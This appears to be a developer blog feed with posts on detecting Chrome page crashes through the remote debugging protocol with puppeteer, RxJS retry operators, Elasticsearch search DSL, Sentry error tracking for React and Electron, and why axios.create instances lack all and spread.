    Stream #0:0(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      ALPHA_MODE      : 1
      DURATION        : 00:01:59.928000000
    Stream #0:1(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Metadata:
      DURATION        : 00:01:59.955000000

No longer broken.

Wrap-up

I prefer the last one, because the earlier methods do not actually fix it.

This is a Chrome Bug. The community is discussing it, but there is still no fix.

Discussion: https://bugs.chromium.org/p/chromium/issues/detail?id=642012

Listen for page crashes with the WebKit remote debugging protocol

bh@bugs.cc (Kevin Cui) — Mon, 22 Apr 2019 07:51:25 GMT

Background {#intro}

I’m working on a project that uses puppeteer. One feature opens multiple Tabs in the Chrome that puppeteer launched, and manages them. puppeteer can open multiple sites, but that isn’t easy to manage, so I used an extension to open and manage the sites.

I also needed to take some action when a site crashes. I couldn’t find a good way to listen for whether the current site had crashed.

You might say: doesn’t puppeteer provide page.on('error', fn) for this?

Note what I said above: the sites are opened by an extension. puppeteer’s API only works for pages it opened. For pages not opened by puppeteer, page.on('error', fn) does nothing.

Using Service Workers {#service-workers}

This idea came from my coworker Haitao.

Run a Service Workers on the current site. At runtime Service Workers start a separate process, so the site and Service Workers are two processes. When the site crashes, the Service Workers process is unaffected. You can use a heartbeat to tell if the site crashed.

There’s also an Alibaba article: 如何监控网页崩溃？

I didn’t use this approach. If Service Workers crash, you’re stuck. You might say: have the site and Service Workers heartbeat each other. That could work, but I don’t like it.

Using WebKit’s remote debugging protocol {#remote-debugging}

Introduction {#remote-debugging-intro}

Before we start, look at puppeteer source and why it can listen for page crashes.

The code is in lib/Page.js.

Page is a Class that extends EventEmitter. EventEmitter gives page the on method, which is page.on('error', fn) from earlier.

So somewhere in Page Class it calls this.emit('error') to fire the error event. I searched and found it in _onTargetCrashed:

We found the crash trigger. Where is _onTargetCrashed itself triggered?

A client listens for Inspector.targetCrashed, which calls _onTargetCrashed. I won’t follow client further. It jumps around a lot. Just know that client ends up being a websocket. The websocket is created in lib/Launcher.js. Code location

Note these two lines:

const transport = new PipeTransport((chromeProcess.stdio[3]), (chromeProcess.stdio[4]));

connection = new Connection('', transport, slowMo);

chromeProcess is from nodejs spawn:

Code location

const chromeProcess = childProcess.spawn(
  chromeExecutable,
  chromeArguments,
  {
    detached: process.platform !== 'win32',
    env,
    stdio
  }
);

chromeArguments is the chrome launch argument list. It includes --remote-debugging-:

Code location

if (!chromeArguments.some(argument => argument.startsWith('--remote-debugging-')))
  chromeArguments.push(pipe ? '--remote-debugging-pipe' : '--remote-debugging-port=0');

It’s much clearer now. Inspector.targetCrashed comes from the WebKit remote debugging protocol, i.e. remote debugging protocol.

It’s defined in WebKit’s Inspector.json: Source/WebCore/inspector/Inspector.json#L39-L42

The commit for this event: https://github.com/WebKit/webkit/commit/255ba17d1d7e0ad1530d503f28ee5d93d7c5351e#diff-4681ce2c9384e770dfac03ab133f133b

Writing the solution {#solution-code}

If we can listen for Inspector.targetCrashed, we know whether the site crashed. Add a launch arg to puppeteer:

puppeteer.launch({
  args: [
    '--remote-debugging-port=9222'
    // other args
  ]
});

When puppeteer starts, it listens on local port 9222. The path /json is the current details:

The format is:

[
  {
    "description": "",
    "devtoolsFrontendUrl": "/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/A1CB5A9CC25A7EE8A99C6A4A1876E4D3",
    "faviconUrl": "https://s.ytimg.com/yts/img/favicon_32-vflOogEID.png",
    "id": "A1CB5A9CC25A7EE8A99C6A4A1876E4D3",
    "title": "張三李四 Chang and Lee 【等無此人 Waiting】 - YouTube",
    "type": "page",
    "url": "https://www.youtube.com/watch?v=lAcUGvpRkig&list=PL3p0C_7POnMHG-b0dzkeTVdNuM6yRE5iQ&index=10&t=0s",
    "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/page/A1CB5A9CC25A7EE8A99C6A4A1876E4D3"
  }
]

type is the current process:

page: web page
iframe: iframe nested in a page
background_page: extension page
service_worker: Service Workers

type is useful if you only want to listen for a certain kind of crash.

There’s a more important field: webSocketDebuggerUrl. We’ll use it to get messages. A simple demo:

const http =  require('http');
const WebSocket = require('ws');

http.get('http://127.0.0.1:9222/json', res => {
  res.addListener('data', data => {
    const result = JSON.parse(data.toString());
    result.forEach(info => {
      const client = new WebSocket(info.webSocketDebuggerUrl);
      client.on('message', data => {
        if (data.indexOf('"method":"Inspector.targetCrashed"') !== -1) {
          console.error('crash!');
        }
      });
    });
  })
})

Understand this first. The later code is easier then. The code is simple enough that I won’t explain it.

One problem: when the extension opens a site there’s a delay, so some sites may not be listened to. And after this code has run, sites the extension opens later also won’t be listened to. I tightened it up:

const http =  require('http');
const WebSocket = require('ws');

module.exports = () => {
  const wsList = {};
  let crashStaus = false;

  const getWsList = () => {
    return new Promise((resolve) => {
      http.get('http://127.0.0.1:9222/json', res => {
        res.addListener('data', data => {
          try {
            const result = JSON.parse(data.toString());
            const tempWsList = {};

            result.forEach(info => {
              if (typeof wsList[info.id] === 'undefined') {
                tempWsList[info.id] = info.webSocketDebuggerUrl;
                wsList[info.id] = info.webSocketDebuggerUrl;
              }
            });

            if (Object.keys(tempWsList).length !== 0) {
              resolve(tempWsList);
            }
          } catch (e) {
            console.error(e);
          }
        });
      });
    });
  };

  setInterval(() => {
    getWsList().then(list => {
      Object.values(list).forEach(wsUrl => {
        const client = new WebSocket(wsUrl);
        client.on('message', data => {
          if (data.indexOf('"method":"Inspector.targetCrashed"') !== -1) {
            if (!crashStaus) {
              crashStaus = true;
              console.log('crash!!!');
            }
          }
        });
      })
    });
  }, 1000);
};

A note on this snippet:

if (!crashStaus) {
  crashStaus = true;
  console.log('crash!!!');
}

My requirement is: if any process crashes, shut down the whole service and restart. If multiple processes crash at once, I only want this path to run once. That’s specific to my case. Change it to fit yours.

References {#references}

A first look at the WebKit remote debugging protocol

Chrome remote debugging protocol: analysis and practice

Error retry in RxJS

bh@bugs.cc (Kevin Cui) — Sat, 12 Jan 2019 10:52:05 GMT

Intro {#intro}

I recently had a requirement: if a request times out, retry it, and the retry count should be configurable.

We send requests with Axios, and the request handling lives in a redux-observable epic.

There are two ways to implement retry:

Add retry code in the Axios wrapper
Use RxJS operators in the epic

Retrying in Axios is messy. I’d have to add retry into an already wrapped function, which feels wrong and is harder to maintain. So I used RxJS operators. The code here is a Demo, not project code, so it’s easier to follow.

RxJS error retry operators {#retry-operators}

RxJS provides two operators: retry and retryWhen.

Note: on retry, both operators retry the whole sequence.

Also, retry and retryWhen only catch Error. They don’t really work with Promise. I’ll cover the workaround later.

retry

retry sets how many times to retry. On error, it retries n times. Demo:

const source = Rx.Observable.interval(1000)

const example = source.map(val => {
  if (val === 2) {
    throw Error('error');
  }
  return val;
}).retry(1)

example.subscribe({
  next: val => console.log(val),
  error: val => console.log(val.message)
});

Run online

This emits a number sequence every second. After subscribe, you get 0 after one second, 1 after two seconds, and so on.

Each value goes through map. When the value equals 2, it throws. Otherwise it returns the value unchanged, and it reaches next in subscribe.

Result:

It emits 0 and 1 fine. When val is 2, it throws. retry catches it and reruns the whole RxJS sequence. So you see 0 and 1 again. Then 2 again, another error, but retry has no retries left, so it skips it. error in subscribe catches it and prints error.

retryWhen

retry only sets the retry count. Sometimes you want to log on retry, or do something else. retry isn’t a good fit then. That’s what retryWhen is for.

const source = Rx.Observable.interval(1000)

const example = source.map(val => {
  if (val === 2) {
    throw Error('error')
  }
  return val;
}).retryWhen(err => {
  return err
    .do(() => console.log('retrying'))
    .delay(2000)
})

example.subscribe({
  next: val => console.log(val),
  error: val => console.log(val.message)
});

Run online

Result:

The emit logic is about the same. The handling is different.

We use retryWhen to control retry. do prints a string, then delay waits 2 seconds before retrying.

This retries forever. There’s no retry limit. The next section covers that.

retry + retryWhen

So retry can set the count, and retryWhen can set the logic.

What if we want both?

OK, first look at retryWhen. If it internally triggers Error or Completed, it stops retrying and passes that Error or Completed to subscribe. That’s a bit abstract, so here’s a Demo:

const source = Rx.Observable.interval(1000)

const example = source.map(val => {
  if (val === 2) {
    throw Error('error')
  }
  return val;
}).retryWhen(err => {
  return err
    .scan((acc, curr) => {
      if (acc > 2) {
        throw curr
      }
      return acc + 1
    }, 1)
})

example.subscribe({
  next: val => console.log(val),
  error: val => console.log(val.message)
});

Run online

Result:

The emit logic is unchanged. There’s a new operator: scan. What does it do?

You can think of scan as javascript’s reduce. It takes two arguments: a callback and a default value. In the code above, the default is 1. First time acc is 1. Second retry, acc is 2. Third retry, acc is 3, which is greater than 2, so the if is true and it throws curr. curr is the original error. As I said, if scan throws Error, retry stops, subscribe gets it, error runs, and it prints error.

Re-throwing after the retry limit is the usual approach, so later operators can handle the error. Some requirements want Completed instead:

const source = Rx.Observable.interval(200)

const example = source.map(val => {
  if (val === 2) {
    throw Error('error')
  }
  return val;
}).retryWhen(err => {
  return err
    .scan((acc, curr) => {
      return acc + 1
    }, 0)
    .takeWhile(v => v <= 2)
})

example.subscribe({
  complete: () => console.log('Completed'),
  next: val => console.log(val),
  error: val => console.log(val.message)
});

Run online

Result:

There’s a new operator takeWhile. It takes a function. If the function returns true, the value continues downstream. Once it returns false, it triggers complete in subscribe, meaning the sequence is done. That should make the code above clear.

Handling the Promise problem {#promise-retry}

I said retry and retryWhen don’t support Promise.reject(). That’s not quite accurate. Promise has no retry API. By the time you retry, the Promise is already running, so you can’t call that method again. That’s why retry and retryWhen can’t retry a Promise. The fix is simple.

Use the defer operator. Here’s what it does.

defer takes a function. The function doesn’t run until you subscribe. Each run is in its own space, so even with Promise, retry still works: it doesn’t reuse the previous result. It opens a new memory space, runs the function, and returns the result.

So you can write:

const getInfo: AxiosPromise = axios.get('http://xxx.com')
const exp = defer(() => getInfo)
  .retryWhen(err => {
    return err.scan((acc, curr) => {
      if (acc > 2) {
        throw curr
      }

      return acc + 1
    }, 1)
  })

example.subscribe({
  next: val => console.log(val),
  error: val => console.log(val.message)
});

Reading notes: From Lucene to Elasticsearch: full-text search in practice

bh@bugs.cc (Kevin Cui) — Sun, 30 Dec 2018 14:52:05 GMT

From Lucene to Elasticsearch: full-text search in practice

These notes only cover the search parts of Elasticsearch.

All searches in this post were run in kibana Dev tools.

Preparation

You need Elasticsearch, kibana, and elasticsearch-analysis-ik installed.

I will not go into the install steps here. (After installing, remember to restart Elasticsearch.)

Once it is back up, open kibana Dev tools, paste the DSL below, and run it:

PUT books
{
  "settings": {
    "number_of_replicas": 1,
    "number_of_shards": 3
  },
  "mappings": {
    "IT": {
      "properties": {
        "id": {
          "type": "long"
        },
        "title": {
          "type": "text",
          "analyzer": "ik_max_word"
        },
        "language": {
          "type": "keyword"
        },
        "author": {
          "type": "keyword"
        },
        "price": {
          "type": "double"
        },
        "year": {
          "type": "date",
          "format": "yyyy-MM-dd"
        },
        "description": {
          "type": "text",
          "analyzer": "ik_max_word"
        }
      }
    }
  }
}

After that, save the following as books.json:

{"index":{ "_index": "books", "_type": "IT", "_id": "1" }}
{"id":"1","title":"Java编程思想","language":"java","author":"Bruce Eckel","price":70.20,"publish_time":"2007-10-01","description":"Java学习必读经典,殿堂级著作！赢得了全球程序员的广泛赞誉。"}
{"index":{ "_index": "books", "_type": "IT", "_id": "2" }}
{"id":"2","title":"Java程序性能优化","language":"java","author":"葛一鸣","price":46.50,"publish_time":"2012-08-01","description":"让你的Java程序更快、更稳定。深入剖析软件设计层面、代码层面、JVM虚拟机层面的优化方法"}
{"index":{ "_index": "books", "_type": "IT", "_id": "3" }}
{"id":"3","title":"Python科学计算","language":"python","author":"张若愚","price":81.40,"publish_time":"2016-05-01","description":"零基础学python,光盘中作者独家整合开发winPython运行环境，涵盖了Python各个扩展库"}
{"index":{ "_index": "books", "_type": "IT", "_id": "4" }}
{"id":"4","title":"Python基础教程","language":"python","author":"Helant","price":54.50,"publish_time":"2014-03-01","description":"经典的Python入门教程，层次鲜明，结构严谨，内容翔实"}
{"index":{ "_index": "books", "_type": "IT", "_id": "5" }}
{"id":"5","title":"JavaScript高级程序设计","language":"javascript","author":"Nicholas C. Zakas","price":66.40,"publish_time":"2012-10-01","description":"JavaScript技术经典名著"}

Then import it. If your Elasticsearch version is below 6.0, import books.json with:

curl -XPOST "http://localhost:9200/_bulk?pretty" --data-binary @books.json

If your Elasticsearch version is above 6.0, import with:

curl -H "Content-Type: application/json" -XPOST "http://localhost:9200/_bulk?pretty" --data-binary @books.json

Basic search

Return all documents in an index

GET books/_search
{
  "query": {
    "match_all": {}
  }
}

You can shorten it to:

GET books/search

Find documents whose field contains a given word

Use term to query. A term query is not analyzed; the search term has to match a term in the document exactly. Typical uses: names, places, anything that needs an exact match.

Find books whose title field contains 思想:

GET books/_search
{
  "query": {
    "term": {
      "title": "思想"
    }
  }
}

The result:

Paginate the results

Sometimes a query returns thousands of hits. That is where pagination comes in.

Pagination has two properties, from and size:

from: where to start
size: max number of documents to return

You can think of it as: start at from and return the rest of the documents, then size caps how many you actually get back.

In JS that would look like:

const from = 100 - 1; // arrays start at 0, so subtract one
const size = 10;
const data = [1, 2, 3, ..., 999, 1000];

const fromDate = data.splice(from);
const result = fromData.splice(0, size);
console.log(result) //=> [100, 101, 102, 103, 104, 105, 106, 107, 108, 109]

Limit returned fields

Usually we query to look at a few fields, not every field. By default Elasticsearch returns all fields of a document, which can get in the way. So Elasticsearch provides a way to limit the returned fields. Say I only need title and author:

GET books/_search
{
  "_source": ["title", "author"],
  "query": {
    "term": {
      "title": "java"
    }
  }
}

The result:

Filter by a minimum score

Ordinary Elasticsearch search is relevance-based, and relevance comes from the score. On a fuzzy search, Elasticsearch may return documents that are not that relevant. You can set a minimum score, and documents below that score will not show up.

For example, I want documents whose title contains java, with a score of at least 0.7:

GET books/_search
{
  "min_score": 0.7,
  "query": {
    "term": {
      "title": "java"
    }
  }
}

The result:

Highlight keywords

Sometimes we import Elasticsearch results directly into a web page. Then we want keywords highlighted so the user can see more clearly what they searched for. Elasticsearch already has an API for this. Say I want keywords in the results highlighted:

GET books/_search
{
  "_source": ["title"],
  "min_score": 0.7,
  "query": {
    "term": {
      "title": "java"
    }
  },
  "highlight": {
    "fields": {
      "title": {}
    }
  }
}

The result:

The default tags are <em></em>. To customize them, use pre_tags and post_tags. The full query:

GET books/_search
{
  "_source": ["title"],
  "min_score": 0.7,
  "query": {
    "term": {
      "title": "java"
    }
  },
  "highlight" : {
    "pre_tags" : ["<h1>"],
    "post_tags" : ["</h1>"],
    "fields" : {
      "title" : {}
    }
  }
}

The result:

Full-text queries

The previous section mostly searched with term, but Elasticsearch has many search methods. This chapter is about those methods and what each one does.

I am skipping common_terms query, query_string query, and simple_query_string query. They are used less often, and they take more explaining. If you want to know more, look them up online. I will not go into them here.

match query

First, a term query:

GET books/_search
{
  "_source": ["title", "author"],
  "query": {
    "term": {
      "title": "java编程"
    }
  }
}

You will see that the result is empty (the data is in the index, though):

That is because term matches against analyzed terms. The java编程 we just searched is analyzed into java and 编程, so the whole string does not match.

In code:

const keyword = 'java编程';
const data = ['java', '编程'];
const result = data.includes(keyword);
console.log(result) //=> false

Now try swapping term for match:

GET books/_search
{
  "_source": ["title", "author"],
  "query": {
    "match": {
      "title": "java编程"
    }
  }
}

The result:

There are hits now. Why two of them?

Because match analyzes your keywords, then matches them against the analyzed terms in the document. If any analyzed term from the document matches any analyzed term from the keyword, the document is returned.

In code:

const data = ['java', '编程', '思想']; // the document's terms after analysis
const keywords = ['java', '编程', '思想']; // the keywords after analysis

const result = (() => {
  for (let x = 0; x < data.length; x++) {
    const dataItem = data[x];
    for (let y = 0; y < keywords.length; y++) {
      const keywordItem = keywords[y];
      if (dataItem === keywordItem) {
        return true;
      }
    }
  }
  return false;
})()

What if I only want one hit, and I still have to use match? Is that possible?

Yes. match has an operator property that can do this:

GET books/_search
{
  "_source": ["title", "author"],
  "query": {
    "match": {
      "title": {
        "query": "java编程",
        "operator": "and"
      }
    }
  }
}

The result:

The idea is that operator is and, which tells Elasticsearch that every keyword term must match a term in the document. Miss one and I do not want it.

If operator is or, the result is the same as before.

match_phrase query

You can think of this as match with operator already set to and.

It has two constraints. Both must hold for a document to show up:

Every analyzed term is in the field, same as operator: "and"
The order has to match

What does order mean?

If you use match with 编程java, you still get the same result as above. If you need the order to match, use match_phrase.

Searching 编程java:

Searching java编程:

match_phrase_prefix query

This is similar to match_phrase, except the last term is used as a prefix. Picture a user typing 辣鸡UZ in the search box, and 辣鸡UZI showing up in the dropdown.

First match_phrase_prefix analyzes the input into 辣鸡, finds a document, then checks whether the string after 辣鸡 starts with UZ. If it does, the document is a hit. You can picture a (.*) wildcard stuck on the end, like 辣鸡UZ(.*).

Knowing that, here is a query:

GET books/_search
{
  "_source": ["title", "author"],
  "query": {
    "match_phrase_prefix": {
      "title": "java编"
    }
  }
}

The result:

multi_match query

multi_match is an upgrade of match. It searches multiple fields.

Say I do not want to search only title for java编程; I also want to search description. How?

Elasticsearch already has multi_match for this:

GET books/_search
{
  "_source": ["title", "description"],
  "query": {
    "multi_match": {
      "query": "java编程",
      "fields": ["title", "description"]
    }
  }
}

The result:

multi_match also supports wildcards. The query above can be written as:

GET books/_search
{
  "_source": ["title", "description"],
  "query": {
    "multi_match": {
      "query": "java编程",
      "fields": ["title", "*tion"]
    }
  }
}

Term queries

The previous chapter was full-text queries. This one is term queries. The difference:

Full-text queries: analyze the query, then match against analyzed terms in the document
Term queries: do not analyze the query

term query

I already covered this in the first chapter, so I will not go into it again.

terms query

terms is an upgrade of term. It checks whether a field contains any of the given keywords. For example, documents whose title contains 优化 or 基础:

GET books/_search
{
  "_source": ["title"],
  "query": {
    "terms": {
      "title": ["优化", "基础"]
    }
  }
}

The result:

range query

You can guess from the name that range is range matching. It can match number, date, and string (string range queries are a bit special and not used much, so I will skip them).

range supports these parameters:

gt: greater than
gte: greater than or equal
lt: less than
lte: less than or equal

number range query

I want books priced below 70 and at least 50. In pseudocode: (price >= 50 && price < 70):

GET books/_search
{
  "_source": ["title", "price"],
  "query": {
    "range": {
      "price": {
        "gte": 50,
        "lt": 70
      }
    }
  }
}

The result:

date range query

If I want books published between 2016-1-1 and 2016-12-31, the DSL looks like this:

GET books/_search
{
  "_source": ["title", "publish_time"],
  "query": {
    "range": {
      "publish_time": {
        "gte": "2016-1-1",
        "lte": "2016-12-31",
        "format": "yyyy-MM-dd"
      }
    }
  }
}

The result:

exists query

Matches documents that have this field. For example, documents that have a title field:

GET books/_search
{
  "_source": "title",
  "query": {
    "exists": {
      "field": "title"
    }
  }
}

The result returns every document. So how do we define “has this field”?

The rules:

{"title": "js"}: exists
{"title": ""}: exists
{"title": ["js"]}: exists
{"title": ["js", null]}: exists (one non-empty value is enough)
{"title": null}: does not exist
{"title": []} does not exist
{"title": [null]} does not exist
{"foo": "bar"}: does not exist

prefix query

Matches the prefix of analyzed terms in the document. First, a DSL query:

GET books/_search
{
  "_source": "description",
  "query": {
    "prefix": {
      "description": "wi"
    }
  }
}

The result:

Why can wi match this? Because Elasticsearch analyzes description, and it splits winPython into win Python. Those two are the analyzed terms, and prefix checks whether each term starts with the keyword, like JS startsWith. In code:

const dataItem = ['win', 'python'];
const prefixKeyword = 'wi';

const result = dataItem.some(item => item.startsWith(prefixKeyword));

console.log(result); //=> true

wildcard query

wildcard is a wildcard query. Right now it only supports * and ?:

*: zero or more
?: one or more

Note: wildcard does not match the full text. It still analyzes the field, then applies the pattern to each term

For example, documents matching wi*:

GET books/_search
{
  "_source": "description",
  "query": {
    "wildcard": {
      "description": "wi*"
    }
  }
}

The result:

First Elasticsearch analyzes description into win and python. Then wi* is applied to each term. win matches, so it shows up.

If I use win?, there are no hits, because ? means one or more. When it matches win, there is nothing after it, so the result is empty.

regexp query

This is a regular expression query. The idea is the same as wildcard, so I will not go into it here.

fuzzy query

Think of fuzzy as a fuzzy query. If a user mistypes a keyword as javascrpit, fuzzy can still find javascript:

GET books/_search
{
  "_source": "description",
  "query": {
    "fuzzy": {
      "description": "javascrpit"
    }
  }
}

The result:

Compound queries

A compound query combines simple queries into a more complex one. It can also control how another query behaves.

constant_score query

Not used much. It scores the documents in the result.

I will not go into it here. If you are interested: [Elasticsearch] 控制相关度 (四) - 忽略 TF/IDF

bool query

This query is pretty important. It provides:

must: the document must satisfy the queries under must, like AND or &&
should: the document may match the queries under should; it is fine if it does not. Like OR or ||
must_not: the opposite of must. Must not satisfy the queries under must_not, like !==
filter: same as must, but it does not score, so it does not affect _score

Now I want: author (author) is 葛一鸣, title (title) contains java, price (price) must not be above 70 or below 40, and description (description) may or may not contain 虚拟机.

GET books/_search
{
  "query": {
    "bool": {
      "filter": {
        "term": {
          "author": "葛一鸣"
        }
      },
      "must": [
        {
          "match": {
            "title": "java"
          }
        }
      ],
      "should": [
        {
          "match": {
            "description": "虚拟机"
          }
        }
      ],
      "must_not": [
        {
          "range": {
            "price": {
              "gt": 70,
              "lt": 40
            }
          }
        }
      ]
    }
  }
}

The result:

dis_max query, function_score query, boosting query

I will not cover these three. They mainly affect _score, which is the score of the query results. Search online if you are interested.

Integrating Sentry with JavaScript

bh@bugs.cc (Kevin Cui) — Fri, 24 Aug 2018 01:16:33 GMT

Sentry-JavaScript

Sentry is an open-source project for capturing product errors. It supports many languages and frameworks.

This post only covers the frontend JavaScript side.

At our company, a lot of projects used kibana for stats. That did not tell us how the app was actually running. When a customer hit an error or a crash in a product we built, they had to contact support, who then handed it to us to reproduce and fix. Without concrete data, reproduction took a long time.

Sentry is for that pain point. It lets us pin down the root cause quickly, ship a fix, and spend time on new features instead of reproducing bugs.

JavaScript

Setup

Sentry hooks error functions to capture errors, so we can drop it into an existing project with almost no overhead.

Here are the basic steps for combining React and Sentry.

React:

#SentryBoundary.js
import { Component } from "react";
import Raven from "raven-js";

export default class SentryBoundary extends Component {
  constructor(props) {
    super(props);
    this.state = { error: null };
  }

  componentDidCatch(error, errorInfo) {
    this.setState({ error });
    // send the error info
    Raven.captureException(error, { extra: errorInfo });
  }

  render() {
    if (this.state.error) {
      // this can be written as a component; when it crashes, the crashed component can be replaced
      console.log("React Error");
    }
    return this.props.children;
  }
}

#index.js
Raven.config("DSN", {
  release: release,
}).install();

ReactDOM.render(
  <div>
    <SentryBoundary>
      <App />
    </SentryBoundary>
  </div>,
  document.getElementById("root")
);

Upload source-map

If the code above is in place, the app can capture errors. One problem remains: most of our projects bundle with webpack, and the bundled code is minified. We cannot tell where an error was thrown. So we upload source-map files together with the minified files to the Sentry server, so we can find the original location quickly.

Configuring and running that upload is tedious. It is also the hard part of wiring a project to Sentry.

There are currently two ways to upload source maps:

Use Sentry’s Webpack plugin. Not very flexible.
Use sentry-cli. More flexible; you can configure it per project.

The setup is tedious, so I will not go through it here. For a full React + Sentry example, see my GitHub repo: react-sentry-demo. Every option is documented. For source-map upload I used the second approach and wrote a script that builds, checks the environment, checks auth, uploads source maps, and deletes local source maps. It is automated. You can copy the script into an existing project with small changes.

The core upload command:

sentry-cli releases files v1.8 upload-sourcemaps {directory containing the js and js.map files; if not found, sentry will traverse its subdirectories} --url-prefix '~/{filter rule}'`;

How it works

JavaScript has window.onerror. Sentry’s core capture on the frontend is rewriting that method so every error is caught. The idea looks like this:

let _winError = window.onerror;
window.onerror = function (message, url, lineNo, colNo, errorObj) {
    console.log(`
	Error message: ${message}
	Error file URL: ${url}
	Error line: ${lineNo}
	Error column: ${colNo}
	Error details: ${errorObj}`);
}

Then Sentry collects non-error data such as user-agent, browser info, OS info, and custom fields, runs them through Sentry’s lifecycle hooks, and sends the payload to the Sentry server for display.

Compatibility

The compatibility in question is really window.onerror compatibility.

Runtime compatibility

| Environment | message | url | lineNo | colNo | errorObj | | ———————– | : —–: | : —: | : ––: | : —: | : ——: | | Firefox | ✓ | ✓ | ✓ | ✓ | ✓ | | Chrom | ✓ | ✓ | ✓ | ✓ | ✓ | | Edge | ✓ | ✓ | ✓ | ✓ | ✓ | | IE 11 | ✓ | ✓ | ✓ | ✓ | ✓ | | IE 10 | ✓ | ✓ | ✓ | ✓ | | | IE 9 | ✓ | ✓ | ✓ | ✓ | | | IE 8 | ✓ | ✓ | ✓ | | | | Safari 10 and up | ✓ | ✓ | ✓ | ✓ | ✓ | | Safari 9 | ✓ | ✓ | ✓ | ✓ | | | Opera 15+ | ✓ | ✓ | ✓ | ✓ | ✓ | | Android Browser 4.4 | ✓ | ✓ | ✓ | ✓ | | | Android Browser 4 - 4.3 | ✓ | ✓ | | | | | WeChat webview (Android)| ✓ | ✓ | ✓ | ✓ | | | WeChat webview (iOS) | ✓ | ✓ | ✓ | ✓ | ✓ | | WKWebview | ✓ | ✓ | ✓ | ✓ | ✓ | | UIWebview | ✓ | ✓ | ✓ | ✓ | ✓ |

Tag compatibility

Tag	Can `window.onerror` capture it
img	yes
script	You need to add the `crossorigin` attribute on the script tag, and the server must allow CORS. Without that attribute, the error message is only `Script error.`
css	no
iframe	no

Most browsers support the method. Some runtimes lack colNo and errorObj. Sentry already handles that, so you do not need to worry. The error display is just a bit incomplete.

What it can capture

Error info

From the sketch above, the core capture is window.onerror. Anything it can catch is sent to Sentry.

Besides Promise, window.onerror captures basically every error that shows up in the console: runtime errors, including syntax errors.

To capture Promise errors, you can use:

window.addEventListener('unhandledrejection', event => {})

Compatibility is not great. Currently only the WebKit kernel supports this event.

The following code is something this method can catch:

const p = new Promise((reslove, reject) => reject('Error'))
p.then(data => {
  console.log(data)
})
// the Promise triggered its reject callback but no catch handled it, which causes the error

Breadcrumbs

Ajax requests
URL changes
UI click and keydown DOM events
console output
Previous errors
Custom breadcrumbs

Display

Electron integration

This is not about capturing errors inside the Electron app. It is about crashes. Electron is only a container. The content is still a JavaScript app.

Setup

As above, this only captures Electron crash info. When Electron crashes, it fires crashReporter.start. We configure Sentry there:

import { crashReporter } from 'electron'

crashReporter.start({
  productName: 'aoc-desktop',
  companyName: 'alo7',
  submitURL:
    'https://sentry.com/api/15376/minidump/?sentry_key=3e05fa101f035008e953ff56909b8eb',	// the minidump endpoint provided by sentry
  extra: {
    // extra info
  }
})

After that, you can use process.crash() to simulate a crash and check whether Sentry received it.

Upload symbols

Earlier we uploaded source maps. Here we upload symbols. Think of a symbol file as another kind of source map.

Symbol formats (extensions) vary. On Mac it is dSYM. On Windows it is pdb. Sentry does not support uploading pdb yet. You need dump_syms.exe to convert pdb to sym, then upload that to Sentry. After that, a crash in Sentry shows the crash context:

That lets you pinpoint where it went wrong.

How source-map matching works

When the Sentry server receives a source map, it matches it using the url-prefix you passed on upload, the source-map file, and the runtime JS file. The flow:

Analyze the axios source to find out why you can't use all and spread

bh@bugs.cc (Kevin Cui) — Sat, 14 Apr 2018 05:37:29 GMT

Intro {#intro}

If you create axios with axios.create({}), you will find you cannot use all, spread, Cancel, CancelToken, or isCancel.

I looked this up. Axios maintainers tell you to import the axios package again. I don’t like that, because re-importing drops my axios config and I have to set it up again.

We often don’t want the default config. We want a custom axios instance, for example with a base URL and timeout:

let newAxios = axios.create({
  baseURL: 'https://www.google.com.hk',
  timeout: 1000
})

After that you use newAxios.post. get, post, put and the other basic methods work. But if you use all, spread, Cancel, CancelToken, or isCancel, you will be told the method does not exist.

Let’s look at how axios implements this, and why those methods disappear after axios.create.

Source analysis {#source-analysis}

Open lib/axios.js in the axios source. This file is the Axios entry point, and where create lives. Here is the create source:

axios.create = function create(instanceConfig) {
  return createInstance(mergeConfig(axios.defaults, instanceConfig));
};

Let’s read it step by step. mergeConfig is what it sounds like: it merges our config with the defaults, and ours override the defaults. I won’t go into the merge code. If you’re interested, see mergeConfig. So the code is now effectively:

axios.create = function create(instanceConfig) {
  return createInstance({
    baseURL: 'https://www.google.com.hk',
    timeout: 1000,
    xsrfCookieName: 'XSRF-TOKEN',
    xsrfHeaderName: 'X-XSRF-TOKEN',
    maxContentLength: -1,
    /* etc. */
  });
};

That’s a bit clearer. Next is createInstance:

function createInstance(defaultConfig) {
  var context = new Axios(defaultConfig);
  var instance = bind(Axios.prototype.request, context);

  // Copy axios.prototype to instance
  utils.extend(instance, Axios.prototype, context);

  // Copy context to instance
  utils.extend(instance, context);

  return instance;
}

context is the axios instance. Roughly:

function Axios(instanceConfig) {
  this.defaults = instanceConfig;
  this.interceptors = {
    request: new InterceptorManager(),
    response: new InterceptorManager()
  };
}

// Provide aliases for supported request methods
utils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {
  /*eslint func-names: 0*/
  Axios.prototype[method] = function(url, config) {
    return this.request(utils.merge(config || {}, {
      method: method,
      url: url
    }));
  };
});

utils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
  /*eslint func-names: 0*/
  Axios.prototype[method] = function(url, data, config) {
    return this.request(utils.merge(config || {}, {
      method: method,
      url: url,
      data: data
    }));
  };
});

No need to read it in detail. After new Axios, context’s prototype chain has request delete get head options post put patch, and the instance itself has a request interceptors object.

Now look at bind and extend:

var instance = bind(Axios.prototype.request, context);

// Copy axios.prototype to instance
utils.extend(instance, Axios.prototype, context);

// Copy context to instance
utils.extend(instance, context);

The first bind makes this inside Axios.prototype.request point to context.

The two extend calls copy enumerable properties from the second argument onto the first, which is instance.

Starting from bind, instance now has a request method.

The second extend copies methods from Axios.prototype onto instance. Now instance has request delete get head options post put patch.

The third extend copies methods from context onto instance. Now it has request delete get head options post put patch interceptors defaults.

That’s it. create returns instance. There is no all, spread, or the others. That’s why they don’t work after create. Where are they? Still in lib/axios.js:

// Expose Cancel & CancelToken
axios.Cancel = require('./cancel/Cancel');
axios.CancelToken = require('./cancel/CancelToken');
axios.isCancel = require('./cancel/isCancel');

// Expose all/spread
axios.all = function all(promises) {
  return Promise.all(promises);
};
axios.spread = require('./helpers/spread');

module.exports = axios;

// Allow use of default import syntax in TypeScript
module.exports.default = axios;

